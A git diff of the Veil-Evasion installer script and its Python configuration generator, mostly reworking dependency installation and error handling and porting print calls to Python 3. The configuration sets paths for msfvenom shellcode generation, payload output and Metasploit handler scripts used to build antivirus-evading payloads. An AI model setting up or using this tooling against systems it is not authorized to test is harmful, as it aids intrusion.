@@ -131,15 +133,18 @@ func_check_env(){ ## Make sure Metasploit framework is already installed if [ "${os}" != "kali" ] \ - || [ "${os}" == "parrot" ] \ - && [ "${silent}" == false ]; then + && [ "${os}" != "parrot" ]; then echo -e "\n\n ${BOLD}[!] NON-KALI Users: Before you begin the install, make sure that you have" echo -e " the Metasploit-Framework installed before you proceed!${RESET}\n" echo -en " Continue with installation? ([${BOLD}Y${RESET}]es/[${BOLD}n${RESET}]o): " - read -p '' install - install=$(echo "${install}" | tr '[:upper:]' '[:lower:]') - echo + if [ "${silent}" == "true" ]; then + echo -e "${GREEN}Y${RESET}\n" + else + read -p '' install + install=$(echo "${install}" | tr '[:upper:]' '[:lower:]') + echo + fi if [ "${install}" == 'n' ] \ || [ "${install}" == 'no' ]; then @@ -176,7 +181,7 @@ func_check_env(){ ## Check if go is installed if [ "${force}" == "false" ] \ - && [ -f "/usr/src/go/bin/windows_386/go.exe" ]; then + && [ -f "/var/lib/veil-evasion/go/bin/go" ]; then echo -e "\n\n [*] ${YELLOW}Go is already installed... Skipping...${RESET}\n" else func_go_deps @@ -196,7 +201,7 @@ func_check_env(){ if [ "${force}" == "false" ] \ && [ -f "/etc/veil/settings.py" ] \ && [ -d "${outputdir}" ]; then - echo -e "\n\n [*] ${YELLOW}Setttings already detected... Skipping...${RESET}\n" + echo -e "\n\n [*] ${YELLOW}Settings already detected... Skipping...${RESET}\n" else func_update_config fi @@ -212,8 +217,108 @@ func_package_deps(){ echo -e "\n\n [*] ${YELLOW}Initializing package installation${RESET}\n" + ## Start dependency install + echo -e "\n\n [*] ${YELLOW}Installing dependencies${RESET}\n" + if [ "${os}" == "debian" ] \ + || [ "${os}" == "deepin" ] \ + || [ "${os}" == "kali" ] \ + || [ "${os}" == "linuxmint" ] \ + || [ "${os}" == "parrot" ] \ + || [ "${os}" == "ubuntu" ]; then + ## Silent mode? + [ "${silent}" == "true" ] \ + && arg=" DEBIAN_FRONTEND=noninteractive" \ + || arg="" + + ## Update APT + echo -e " [*] ${YELLOW}Updating APT${RESET}\n" + sudo apt-get -qq update + if [[ "$?" -ne "0" ]]; then + msg="Failed with apt-get update (1): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi + + #ttf-mscorefonts-installer + sudo ${arg} apt-get install -y wine unzip winbind wget git ca-certificates \ + mingw-w64 monodevelop mono-mcs \ + ruby golang \ + python python-crypto python-pefile python-pip python3-pip + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing dependencies (1): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi + + elif [ "${os}" == '"elementary"' ]; then + ## Silent mode? + [ "${silent}" == "true" ] \ + && arg=" DEBIAN_FRONTEND=noninteractive" \ + || arg="" + + ## Update APT + echo -e " [*] ${YELLOW}Updating APT${RESET}\n" + sudo apt-get -qq update + if [[ "$?" -ne "0" ]]; then + msg="Failed with apt-get update (2): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi + + sudo ${arg} apt-get install -y mingw-w64 monodevelop mono-mcs wine unzip ruby golang wget git \ + python python-crypto python-pefile python-pip ca-certificates python3-pip winbind python3-crypto + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing dependencies (2: $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi + + elif [ "${os}" == "centos" ] \ + || [ "${os}" == "fedora" ] \ + || [ "${os}" == "rhel" ]; then + sudo ${arg} dnf -y install mingw64-binutils mingw64-cpp mingw64-gcc mingw64-gcc-c++ mono-tools-monodoc monodoc \ + monodevelop mono-tools mono-core wine unzip ruby golang wget git python python-crypto python-pefile \ + python-pip ca-certificates msttcore-fonts-installer python3-pip winbind + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing dependencies (3): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi + + elif [ "${os}" == "arch" ] \ + || [ "${os}" == "blackarch" ]; then + sudo pacman -Sy ${arg} --needed mingw-w64-binutils mingw-w64-crt mingw-w64-gcc mingw-w64-headers mingw-w64-winpthreads \ + mono mono-tools mono-addins python2-pip wget unzip ruby python python2 python-crypto gcc-go ca-certificates base-devel python-pip krb5 samba + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing dependencies (4): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi + + ## Install pefile for python2 using pip, rather than via AUR as the package is currently broken. + sudo pip2 install pefile + if [[ "$?" -ne "0" ]]; then + msg="Failed with pip2 install (1): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi + fi + + ## Couple of extras for other OSs + if [ "${os}" == "kali" ] \ + || [ "${os}" == "parrot" ]; then + sudo ${arg} apt-get install -y metasploit-framework python2.7 python3 python3-pycryptodome python3-crypto + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing dependencies (5): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi + fi + + ## Clone down the required install files echo -e "\n\n [*] ${YELLOW}Pulling down binary dependencies${RESET}\n" + [ "${force}" == "true" ] && rm -rf "${dependenciesdir}" ## Pulling down from github, if it fails, pull local folder if [ -d "${dependenciesdir}" ]; then echo -e " [*] ${YELLOW}Already detected folder: ${BOLD}${dependenciesdir}${RESET}\n" @@ -221,15 +326,23 @@ func_package_deps(){ pushd "${dependenciesdir}" >/dev/null sudo git reset --hard HEAD >/dev/null sudo git clean -fd >/dev/null - sudo git pull \ - || echo -e "${RED}[ERROR]: Failed with git pull (1)\n${RESET}\n" + sudo git pull + if [[ "$?" -ne "0" ]]; then + msg="Failed with git pull: $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi popd >/dev/null else echo -e " [*] ${YELLOW}Empty folder... git cloning${RESET}\n" sudo mkdir -p "${dependenciesdir}" sudo rm -rf "${dependenciesdir}" - sudo git clone https://github.com/Veil-Framework/VeilDependencies.git "${dependenciesdir}" \ - || echo -e "${RED}[ERROR]: Failed with git clone (1)\n${RESET}\n" + sudo git clone https://github.com/Veil-Framework/VeilDependencies.git "${dependenciesdir}" + if [[ "$?" -ne "0" ]]; then + msg="Failed with git clone: $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi fi @@ -240,48 +353,69 @@ func_package_deps(){ ## Debian based distributions - if [ "${os}" == "ubuntu" ] \ - || [ "${os}" == "debian" ] \ + if [ "${os}" == "debian" ] \ + || [ "${os}" == "deepin" ] \ || [ "${os}" == "kali" ] \ + || [ "${os}" == "linuxmint" ] \ || [ "${os}" == "parrot" ] \ - || [ "${os}" == "deepin" ] \ - || [ "${os}" == "linuxmint" ]; then + || [ "${os}" == "ubuntu" ]; then + ## Silent mode? [ "${silent}" == "true" ] \ && arg=" DEBIAN_FRONTEND=noninteractive" \ || arg="" - if [ "${arch}" == "x86_64" ]; then - echo -e "\n\n [*] ${YELLOW}Adding x86 architecture to x86_64 system for Wine${RESET}\n" - sudo dpkg --add-architecture i386 - sudo apt-get -qq update \ - || echo -e "${RED}[ERROR]: Failed with apt-get update (1)\n${RESET}\n" + if [ "${arch}" == "x86_64" ]; then + ## Check to see if we already have i386 + tmp="$( dpkg --print-foreign-architectures | grep '^i386$' )" + + ## If we do NOT have it, add it + if [[ "${tmp}" == "" ]]; then + echo -e "\n\n [*] ${YELLOW}Adding i386 architecture to x86_64 system for Wine${RESET}\n" + sudo dpkg --add-architecture i386 + + echo -e " [*] ${YELLOW}Updating APT${RESET}\n" + sudo apt-get -qq update + if [[ "$?" -ne "0" ]]; then + msg="Failed with apt-get update (3): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi + ## Already have i386 added + else + echo -e " [*] ${YELLOW}Already have x86 architecture added...${RESET}\n" + fi echo -e "\n\n [*] ${YELLOW}Installing Wine 32-bit and 64-bit binaries (via APT)${RESET}\n" if [ "${os}" == "ubuntu" ] \ || [ "${os}" == "linuxmint" ]; then ## Special urghbuntu derivative snowflakes - sudo ${arg} apt-get -y -qq install wine wine1.6 wine1.6-i386 \ - || echo -e "${RED}[ERROR]: Failed with apt-get install wine (1)\n${RESET}\n" + sudo ${arg} apt-get -y -qq install wine wine1.6 wine1.6-i386 + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing wine (1): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi else - ## anything that isn't ubuntu or ubuntu-derived - sudo ${arg} apt-get -y -qq install wine wine64 wine32 \ - || echo -e "${RED}[ERROR]: Failed with apt-get install wine (2)\n${RESET}\n" + ## Anything that isn't ubuntu or ubuntu-derived + sudo ${arg} apt-get -y -qq install wine wine64 wine32 + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing wine (2): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi fi - tmp="$?" - if [ "${tmp}" -ne "0" ]; then - msg="Failed to install Wine... Exit code: ${tmp}" + elif [ "${arch}" == "x86" ] \ + || [ "${arch}" == "i686" ]; then + sudo apt-get -qq update + if [[ "$?" -ne "0" ]]; then + msg="Failed with apt-get update (4): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi - elif [ "${arch}" == "x86" ] \ - || [ "${arch}" == "i686" ]; then - sudo apt-get -qq update \ - || echo -e "${RED}[ERROR]: Failed with apt-get update (2)\n${RESET}\n" - sudo ${arg} apt-get -y -qq install wine32 \ - || echo -e "${RED}[ERROR]: Failed with apt-get install wine (3)\n${RESET}\n" - tmp="$?" - if [ "${tmp}" -ne "0" ]; then - msg="Failed to install Wine... Exit code: ${tmp}" + + sudo ${arg} apt-get -y -qq install wine32 + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing wine (3): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi @@ -294,11 +428,9 @@ func_package_deps(){ ## Elementary OS x86_64 elif [ "${os}" == '"elementary"' ]; then echo -e "\n\n [*] ${YELLOW}Installing Wine on Elementary OS (via APT)${RESET}\n" - sudo ${arg} apt-get -y -qq install wine wine1.6 wine1.6-amd64 \ - || echo -e "${RED}[ERROR]: Failed with apt-get install wine (4)\n${RESET}\n" - tmp="$?" - if [ "${tmp}" -ne "0" ]; then - msg="Failed to install Wine in Elementary OS... Exit code: ${tmp}" + sudo ${arg} apt-get -y -qq install wine wine1.6 wine1.6-amd64 + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing wine (4): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi @@ -309,9 +441,8 @@ func_package_deps(){ || [ "${os}" == "centos" ]; then echo -e "\n\n [*] ${YELLOW}Installing Wine 32-bit on x86_64 System (via DNF)${RESET}\n" sudo dnf install -y wine.i686 wine - tmp="$?" - if [ "${tmp}" -ne "0" ]; then - msg="Failed to install Wine x86_64... Exit code: ${tmp}" + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing wine (5): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi @@ -323,9 +454,8 @@ func_package_deps(){ fi sudo pacman -Syu ${args} --needed --noconfirm wine wine-mono wine_gecko git - tmp="$?" - if [ "${tmp}" -ne "0" ]; then - msg="Failed to install Wine x86_64... Exit code: ${tmp}" + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing wine (6): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi @@ -340,7 +470,7 @@ func_package_deps(){ ## we're already going to look for an existing veil wine setup (~/.config/veil/) and nuke it ## making it easy for a user to rerun the setup and have a new wine environment. if [ -d "${winedir}" ]; then - echo -e "\n\n [*] ${RED}[ALERT]: Existing Veil Wine environment detected at: ${BOLD}${winedir}${RESET}\n" + echo -e "\n\n [*] ${BOLD}[ALERT]${RESET}: Existing Veil Wine environment detected at: ${BOLD}${winedir}${RESET}\n" echo -en " Do you want to nuke it? ([${BOLD}y${RESET}]es/[${BOLD}N${RESET}]o): " if [ "${silent}" == "true" ]; then echo -e "${GREEN}Y${RESET}\n" @@ -404,61 +534,6 @@ func_package_deps(){ fi - ## Start dependency install - echo -e "\n\n [*] ${YELLOW}Installing dependencies${RESET}\n" - if [ "${os}" == "debian" ] \ - || [ "${os}" == "kali" ] \ - || [ "${os}" == "parrot" ] \ - || [ "${os}" == "ubuntu" ] \ - || [ "${os}" == "deepin" ] \ - || [ "${os}" == "linuxmint" ]; then - #ttf-mscorefonts-installer - sudo ${arg} apt-get -y install mingw-w64 monodevelop mono-mcs wine unzip ruby golang wget git \ - python python-crypto python-pefile python-pip ca-certificates python3-pip winbind \ - || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (1)\n${RESET}\n" - - elif [ "${os}" == '"elementary"' ]; then - sudo ${arg} apt-get -y install mingw-w64 monodevelop mono-mcs wine unzip ruby golang wget git \ - python python-crypto python-pefile python-pip ca-certificates python3-pip winbind python3-crypto \ - || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (2)\n${RESET}\n" - - elif [ "${os}" == "fedora" ] \ - || [ "${os}" == "rhel" ] \ - || [ "${os}" == "centos" ]; then - sudo ${arg} dnf -y install mingw64-binutils mingw64-cpp mingw64-gcc mingw64-gcc-c++ mono-tools-monodoc monodoc \ - monodevelop mono-tools mono-core wine unzip ruby golang wget git python python-crypto python-pefile \ - python-pip ca-certificates msttcore-fonts-installer python3-pip winbind \ - || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (3)\n${RESET}\n" - - elif [ "${os}" == "arch" ] \ - || [ "${os}" == "blackarch" ]; then - sudo pacman -Sy ${arg} --needed mingw-w64-binutils mingw-w64-crt mingw-w64-gcc mingw-w64-headers mingw-w64-winpthreads \ - mono mono-tools mono-addins python2-pip wget unzip ruby python python2 python-crypto gcc-go ca-certificates base-devel python-pip krb5 samba \ - || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (4)\n${RESET}\n" - ## Install pefile for python2 using pip, rather than via AUR as the package is currently broken. - sudo pip2 install pefile \ - || echo -e "${RED}[ERROR]: Failed with pip2 install (1)\n${RESET}\n" - fi - tmp="$?" - if [ "${tmp}" -ne "0" ]; then - msg="Failed to install dependencies... Exit code: ${tmp}" - errors="${errors}\n${msg}" - echo -e " ${RED}[ERROR] ${msg}${RESET}\n" - fi - - - if [ "${os}" == "kali" ] \ - || [ "${os}" == "parrot" ]; then - sudo ${arg} apt-get -y install metasploit-framework python2.7 python3 python3-pycryptodome \ - || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (5)\n${RESET}\n" - tmp="$?" - if [ "${tmp}" -ne "0" ]; then - msg="Failed to install dependencies (Metasploit-Framework/python2.7/python3/python3-pycryptodome)... Exit code: ${tmp}" - errors="${errors}\n${msg}" - echo -e " ${RED}[ERROR] ${msg}${RESET}\n" - fi - fi - ## Function done echo -e "\n\n [*] ${YELLOW}Finished package installation${RESET}\n" } @@ -483,7 +558,7 @@ func_python_deps(){ || arg="" sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine msiexec /i "${dependenciesdir}/python-3.4.4.msi" ${arg} tmp="$?" - if [ "${tmp}" -ne "0" ]; then + if [[ "${tmp}" -ne "0" ]]; then msg="Failed to install (Wine) Python 3.4.4... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" @@ -524,7 +599,7 @@ func_python_deps(){ else sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${FILE}" tmp="$?" - if [ "${tmp}" -ne "0" ]; then + if [[ "${tmp}" -ne "0" ]]; then msg="Failed to install ${FILE}... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" @@ -576,41 +651,40 @@ func_go_deps(){ sudo mkdir -p /usr/src/go/ - if [ ! -f "/usr/src/go/bin/windows_386/go.exe" ]; then + if [ ! -f "/var/lib/veil-evasion/go/bin/go" ]; then if [ "${arch}" == "x86_64" ]; then echo -e "\n\n [*] ${YELLOW}Installing Go x86_64 (via TAR)${RESET}\n" file="${dependenciesdir}/go1.7.5.linux-amd64.tar.gz" - shasum="$( openssl dgst -sha256 "${file}" | cut -d' ' -f2 )" - if [ "${shasum}" == "2e4dd6c44f0693bef4e7b46cc701513d74c3cc44f2419bf519d7868b12931ac3" ]; then - sudo tar -C /usr/local -xf "${file}" - else - if [ "${tmp}" -ne "0" ]; then - msg="Bad hash for go153x64.tar.gz!" - errors="${errors}\n${msg}" - echo -e " ${RED}[ERROR] ${msg}${RESET}\n" - fi - fi + file_hash="2e4dd6c44f0693bef4e7b46cc701513d74c3cc44f2419bf519d7868b12931ac3" elif [ "${arch}" == "x86" ] \ || [ "${arch}" == "i686" ]; then echo -e "\n\n [*] ${YELLOW}Installing Go x86 (via TAR)${RESET}\n" file="${dependenciesdir}/go1.7.5.linux-386.tar.gz" - shasum="$( openssl dgst -sha256 "${file}" | cut -d' ' -f2 )" - if [ "${shasum}" == "432cb92ae656f6fe1fa96a981782ef5948438b6da6691423aae900918b1eb955" ]; then - sudo tar -C /usr/local -xf "${file}" - else - if [ "${tmp}" -ne "0" ]; then - msg="Bad hash for go153x86.tar.gz!" - errors="${errors}\n${msg}" - echo -e " ${RED}[ERROR] ${msg}${RESET}\n" - fi + file_hash="432cb92ae656f6fe1fa96a981782ef5948438b6da6691423aae900918b1eb955" + else + ## Dead code. We really shouldn't end up here, but, you never know... + echo -e "${RED}[ERROR]: Architecture ${arch} is not supported!\n${RESET}\n" + exit 1 + fi + + shasum="$( openssl dgst -sha256 "${file}" | cut -d' ' -f2 )" + if [ "${shasum}" == "${file_hash}" ]; then + sudo rm -rf "${veildir}/go/" + sudo mkdir -p "${veildir}" + sudo tar -C "${veildir}" -xf "${file}" + else + if [[ "${tmp}" -ne "0" ]]; then + msg="Bad hash for ${file}!" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi fi - export GOROOT=/usr/local/go - sudo rm -f /usr/bin/go - sudo ln -s /usr/local/go/bin/go /usr/bin/go + #export GOROOT=$( echo "${veildir}/go" ) + #sudo rm -f /usr/bin/go + #sudo ln -s /usr/local/go/bin/go /usr/bin/go fi ## Done @@ -658,7 +732,7 @@ func_ruby_deps(){ || arg="" sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${dependenciesdir}/rubyinstaller-1.8.7-p371.exe" ${arg} tmp="$?" - if [ "${tmp}" -ne "0" ]; then + if [[ "${tmp}" -ne "0" ]]; then msg="Failed to install (Wine) Ruby.exe... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" @@ -696,11 +770,11 @@ func_update_config(){ ## snip 8<- - - - - - - - - - - - - - The alternative below without "sudo -u username"... ## - | sudo python update-config.py (${USER}=root ${SUDO_USER}=root) ## snip 8<- - - - - - - - - - - - - - And thus it would have screwed up the ${winedir} dir for the user. - if [ -f /etc/veil/settings.py ]; then - echo -e "\n\n [*] ${YELLOW}Detected current Veil settings file. Removing...${RESET}\n" - sudo rm -f /etc/veil/settings.py + if [ -e /etc/veil/ ]; then + echo -e " [*] ${YELLOW}Detected current Veil settings. Removing...${RESET}\n" + sudo rm -rf /etc/veil/ fi - sudo -u "${trueuser}" sudo python2 update-config.py + sudo -u "${trueuser}" sudo ./update-config.py sudo mkdir -p "${outputdir}" @@ -709,7 +783,9 @@ func_update_config(){ echo -e "\n\n [*] ${YELLOW}Ensuring this account (${trueuser}) owns veil output directory (${outputdir})...${RESET}\n" sudo chown -R "${trueuser}" "${outputdir}" else - echo -e " ${RED}[ERROR] Internal Issue. Couldn't create output folder...${RESET}\n" + msg="Internal Issue. Couldn't create output folder..." + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi ## Ensure that user completely owns the wine directory @@ -743,33 +819,29 @@ if [ "${os}" == "kali" ]; then elif [ "${os}" == "parrot" ]; then echo -e " [I] ${YELLOW}Parrot Security ${osversion} ${arch} detected...${RESET}\n" elif [ "${os}" == "ubuntu" ]; then - version="$( awk -F '["=]' '/^VERSION_ID=/ {print $3}' /etc/os-release 2>&- | cut -d'.' -f1 )" echo -e " [I] ${YELLOW}Ubuntu ${osversion} ${arch} detected...${RESET}\n" - if [[ "${osversion}" -lt "15" ]]; then + if [[ "${osmajversion}" -lt "15" ]]; then echo -e " ${RED}[ERROR]: Veil is only supported On Ubuntu 15.10 or higher!${RESET}\n" exit 1 fi elif [ "${os}" == "linuxmint" ]; then - version="$( awk -F '["=]' '/^VERSION_ID=/ {print $3}' /etc/os-release 2>&- | cut -d'.' -f1 )" echo -e " [I] ${YELLOW}Linux Mint ${osversion} ${arch} detected...${RESET}\n" elif [ "${os}" == "deepin" ]; then - version="$( awk -F '["=]' '/^VERSION_ID=/ {print $3}' /etc/os-release 2>&- | cut -d'.' -f1 )" echo -e " [I] ${YELLOW}Deepin ${osversion} ${arch} detected...${RESET}\n" - if [[ "${osversion}" -lt "15" ]]; then + if [[ "${osmajversion}" -lt "15" ]]; then echo -e " ${RED}[ERROR]: Veil is only supported On Deepin 15 or higher!${RESET}\n" exit 1 fi elif [ "${os}" == '"elementary"' ]; then echo -e " [I] ${YELLOW}Elementary OS ${osversion} ${arch} detected...${RESET}\n" elif [ "${os}" == "debian" ]; then - version="$( awk -F '["=]' '/^VERSION_ID=/ {print $3}' /etc/os-release 2>&- | cut -d'.' -f1 )" - if [[ "${osversion}" -lt "8" ]]; then + if [[ "${osmajversion}" -lt "8" ]]; then echo -e " ${RED}[ERROR]: Veil is only supported on Debian 8 (Jessie) or higher!${RESET}\n" exit 1 fi elif [ "${os}" == "fedora" ]; then echo -e " [I] ${YELLOW}Fedora ${osversion} ${arch} detected...${RESET}\n" - if [[ "${osversion}" -lt "22" ]]; then + if [[ "${osmajversion}" -lt "22" ]]; then echo -e " ${RED}[ERROR]: Veil is only supported on Fedora 22 or higher!${RESET}\n" exit 1 fi @@ -778,9 +850,9 @@ else if [ "${os}" == "arch" ]; then echo -e " [I] ${YELLOW}Arch Linux ${arch} detected...${RESET}\n" elif [ "${os}" == "blackarch" ]; then - echo -e " [I] ${RED}BlackArch Linux ${arch} detected...${RESET}\n" + echo -e " [I] ${YELLOW}BlackArch Linux ${arch} detected...${RESET}\n" elif [ "${os}" == "debian" ]; then - echo -e " [!] ${RED}Debian Linux sid/TESTING ${arch} *possibly* detected..." + echo -e " [!] ${YELLOW}Debian Linux sid/TESTING ${arch} *possibly* detected..." echo -e " If you are not currently running Debian Testing, you should exit this installer!${RESET}\n" else echo -e " ${RED}[ERROR] Unable to determine OS information. Exiting...${RESET}\n" diff --git a/config/update-config.py b/config/update-config.py index f0ffa55..8f95894 100755 --- a/config/update-config.py +++ b/config/update-config.py @@ -1,7 +1,9 @@ -#!/usr/bin/python +#!/usr/bin/env python3 """ Take an options dictionary and update /etc/veil/settings.py + +Able to call this by doing: Veil.py --config """ import platform, os, sys, pwd @@ -15,7 +17,7 @@ def generateConfig(options): # # Veil configuration file # -# Run './config/update-config.py' to automatically set all these options to their defaults. +# Run 'Veil.py --config' to automatically set all these options to their defaults. # ################################################################################################## @@ -26,16 +28,16 @@ def generateConfig(options): # ################################################# """ - print "\n Veil Configuration:" + print( "\n Veil Configuration:" ) # OS config += '# OS to use (Kali/Backtrack/Debian/Windows)\n' config += 'OPERATING_SYSTEM="' + options['OPERATING_SYSTEM'] + '"\n\n' - print " [*] OPERATING_SYSTEM = " + options['OPERATING_SYSTEM'] + print( " [*] OPERATING_SYSTEM = " + options['OPERATING_SYSTEM'] ) # OS (Linux) config += '# Specific Linux distro\n' - # check /etc/issue for the exact linux distro + # Check /etc/issue for the exact linux distro issue = open("/etc/issue").read() if issue.startswith("Debian"): config += 'DISTRO="Debian"\n\n' @@ -45,38 +47,50 @@ def generateConfig(options): # Terminal clearing config += '# Terminal clearing method to use (use "false" to disable it)\n' config += 'TERMINAL_CLEAR="' + options['TERMINAL_CLEAR'] + '"\n\n' - print " [*] TERMINAL_CLEAR = " + options['TERMINAL_CLEAR'] + print( " [*] TERMINAL_CLEAR = " + options['TERMINAL_CLEAR'] ) + + # Veil's path + config += '# Veil-Evasion install path\n' + config += 'VEIL_PATH="' + options['VEIL_PATH'] + '"\n\n' + print( " [*] VEIL_PATH = " + options['VEIL_PATH'] ) - # Wine + # Wine's path config += '# Wine environment\n' config += 'WINEPREFIX="' + options["WINEPREFIX"] + '"\n\n' - print " [*] WINEPREFIX = " + options["WINEPREFIX"] + print( " [*] WINEPREFIX = " + options["WINEPREFIX"] ) - # Temp folder + # Temp path config += '# Path to temporary directory\n' - config += 'TEMP_DIR="' + options["TEMP_DIR"] + '"\n\n' - print " [*] TEMP_DIR = " + options["TEMP_DIR"] + config += 'TEMP_PATH="' + options["TEMP_PATH"] + '"\n\n' + print( " [*] TEMP_PATH = " + options["TEMP_PATH"] ) - # Metasploit-Framework - config += '# The path to the metasploit framework, for example: /usr/share/metasploit-framework/\n' + # Metasploit Framework's path + config += '# The path to the metasploit framework, for example: /opt/metasploit-framework/embedded/framework/\n' config += 'METASPLOIT_PATH="' + options['METASPLOIT_PATH'] + '"\n\n' - print " [*] METASPLOIT_PATH = " + options['METASPLOIT_PATH'] + print( " [*] METASPLOIT_PATH = " + options['METASPLOIT_PATH'] ) - # msfvenom + # msfvenom's path config += '# The path to msfvenom for shellcode generation purposes\n' config += 'MSFVENOM_PATH="' + options["MSFVENOM_PATH"] + '"\n\n' - print " [*] MSFVENOM_PATH = " + options["MSFVENOM_PATH"] + print( " [*] MSFVENOM_PATH = " + options["MSFVENOM_PATH"] ) - # msfvenom + # msfvenom's options config += '# Default options to pass to msfvenom for shellcode creation\n' config += 'MSFVENOM_OPTIONS="' + options['MSFVENOM_OPTIONS'] + '"\n\n' - print " [*] MSFVENOM_OPTIONS = " + options['MSFVENOM_OPTIONS'] + print( " [*] MSFVENOM_OPTIONS = " + options['MSFVENOM_OPTIONS'] ) - # PyInstaller Path - config += '# The path to pyinstaller, for example: /opt/pyinstaller-2.0/\n' + # PyInstaller's path + config += '# The path to pyinstaller, for example: /var/lib/veil/PyInstaller/\n' config += 'PYINSTALLER_PATH="' + options['PYINSTALLER_PATH'] + '"\n\n' - print " [*] PYINSTALLER_PATH = " + options['PYINSTALLER_PATH'] + "\n" + print( " [*] PYINSTALLER_PATH = " + options['PYINSTALLER_PATH'] ) + + # GoLang's path + config += '# The path to pyinstaller, for example: /var/lib/veil/go/\n' + config += 'GOLANG_PATH="' + options['GOLANG_PATH'] + '"\n\n' + print( " [*] GOLANG_PATH = " + options['GOLANG_PATH']) + # Padding between sections + print ( "\n" ) # Veil-Evasion config += """ @@ -87,99 +101,61 @@ def generateConfig(options): # ################################################# """ - print "\n Veil-Evasion Configuration:" - - # Veil-Evasion path - config += '# Veil-Evasion install path\n' - config += 'VEIL_EVASION_PATH="' + options['VEIL_EVASION_PATH'] + '"\n\n' - print " [*] VEIL_EVASION_PATH = " + options['VEIL_EVASION_PATH'] + print( "\n Veil-Evasion Configuration:" ) # Payload path - source_path = os.path.expanduser(options["PAYLOAD_SOURCE_PATH"]) + source_path = os.path.expanduser( options["PAYLOAD_SOURCE_PATH"] ) config += '# Path to output the source of payloads\n' config += 'PAYLOAD_SOURCE_PATH="' + source_path + '"\n\n' - print " [*] PAYLOAD_SOURCE_PATH = " + source_path + print( " [*] PAYLOAD_SOURCE_PATH = " + source_path ) # Compile path - compiled_path = os.path.expanduser(options["PAYLOAD_COMPILED_PATH"]) + compiled_path = os.path.expanduser( options["PAYLOAD_COMPILED_PATH"] ) config += '# Path to output compiled payloads\n' config += 'PAYLOAD_COMPILED_PATH="' + compiled_path +'"\n\n' - print " [*] PAYLOAD_COMPILED_PATH = " + compiled_path + print( " [*] PAYLOAD_COMPILED_PATH = " + compiled_path ) # Handler path - handler_path = os.path.expanduser(options["HANDLER_PATH"]) - config += '# Whether to generate a msf handler script and where to place it\n' - config += 'GENERATE_HANDLER_SCRIPT="' + options['GENERATE_HANDLER_SCRIPT'] + '"\n' - print " [*] GENERATE_HANDLER_SCRIPT = " + options['GENERATE_HANDLER_SCRIPT'] + handler_path = os.path.expanduser( options["HANDLER_PATH"] ) + config += '# Where to generate a msf handler script\n' config += 'HANDLER_PATH="' + handler_path + '"\n\n' - print " [*] HANDLER_PATH = " + handler_path + print( " [*] HANDLER_PATH = " + handler_path ) - # Hash List - hash_path = os.path.expanduser(options["HASH_LIST"]) + # Hash List file + hash_path = os.path.expanduser( options["HASH_LIST"] ) config += '# Running hash list of all payloads generated\n' config += 'HASH_LIST="' + hash_path + '"\n\n' - print " [*] HASH_LIST = " + hash_path + "\n" - - - # Veil-Catapult - config += """ - -################################################# -# -# Veil-Catapult specific options -# -################################################# -""" - print "\n Veil-Catapult Configuration:" - - # Veil-Catapult path - config += '# Veil-Catapult install path\n' - config += 'VEIL_CATAPULT_PATH="' + options['VEIL_CATAPULT_PATH'] + '"\n\n' - print " [*] VEIL_CATAPULT_PATH = " + options['VEIL_CATAPULT_PATH'] - - # Veil-Catapult resource path - catapult_resource_path = os.path.expanduser(options["CATAPULT_RESOURCE_PATH"]) - config += '# Path to output Veil-Catapult resource/cleanup files\n' - config += 'CATAPULT_RESOURCE_PATH="' + catapult_resource_path + '"\n\n' - print " [*] CATAPULT_RESOURCE_PATH = " + catapult_resource_path + "\n" - + print( " [*] HASH_LIST = " + hash_path ) # Create the output 